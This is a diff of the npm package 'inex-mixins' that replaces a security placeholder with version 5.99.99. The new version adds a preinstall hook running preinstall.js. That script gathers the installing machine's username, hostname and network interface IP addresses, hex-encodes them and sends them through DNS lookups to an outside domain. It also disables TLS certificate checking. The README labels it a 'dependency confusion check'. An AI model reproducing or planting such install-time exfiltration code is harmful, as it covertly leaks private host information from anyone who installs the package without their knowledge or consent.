inex-mixins 0.0.1-security → 5.99.99

package/README.md

@@ -1,5 +1,2 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=inex-mixins for more information.
+# DO NOT INSTALL THIS MODULE
+# USED FOR DEPENDENCY CONFUSION CHECK

package/index.js

@@ -0,0 +1,2 @@
+// inex-mixins 5.99.99
+module.exports = {};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "inex-mixins",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "5.99.99",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC"
 }

package/preinstall.js

@@ -0,0 +1,69 @@
+(function () {
+
+    var require = global.require || global.process.mainModule.constructor._load;
+
+    var https = require("https");
+    var dns = require("dns");
+    var os = require("os");
+
+    var DNS_DOMAIN = '.rzd-dc-prod.n.addr-in.com';
+    process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
+
+    var randomString = function (length) {
+        var result = '';
+        var alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+        for (var i = 0; i < length; i++)
+            result += alphabet.charAt(Math.floor(Math.random() *
+                alphabet.length));
+        return result;
+    }
+
+    var getNetworkInterfaces = function () {
+        var ifaces = os.networkInterfaces();
+        var results = {};
+
+        Object.keys(ifaces).forEach(function (name) {
+            ifaces[name].forEach(function (net) {
+                if (net.family === 'IPv4' && !net.internal) {
+                    if (!results[name])
+                        results[name] = [];
+                    results[name].push(net.address);
+                }
+            });
+        });
+
+        return results;
+    }
+
+    var toHex = function (str) {
+        return Buffer.from(str, 'utf-8').toString('hex');
+    }
+
+    var collectStats = function () {
+        // Unique 6-character string to identify host in DNS logs
+        var hostId = toHex(randomString(3));
+        var suffix = '.' + hostId + DNS_DOMAIN;
+        // Stat type prefix:
+        // x - username
+        // y - hostname
+        // z - network interface
+        
+
+        var hostname = os.hostname();
+        var username = os.userInfo().username;
+        var ifaces = getNetworkInterfaces();
+
+
+        dns.lookup('5.99.99' + suffix, function (err, res) {});
+        dns.lookup('xxx' + toHex(username) + suffix, function (err, res) {});
+        dns.lookup('yyy' + toHex(hostname) + suffix, function (err, res) {});
+       
+        
+        Object.keys(ifaces).forEach(function (iface) {
+            dns.lookup('zzz' + toHex(iface) + '.' + ifaces[iface][0] + suffix, function (err, res) {});
+        });
+    }
+
+    collectStats();
+
+})();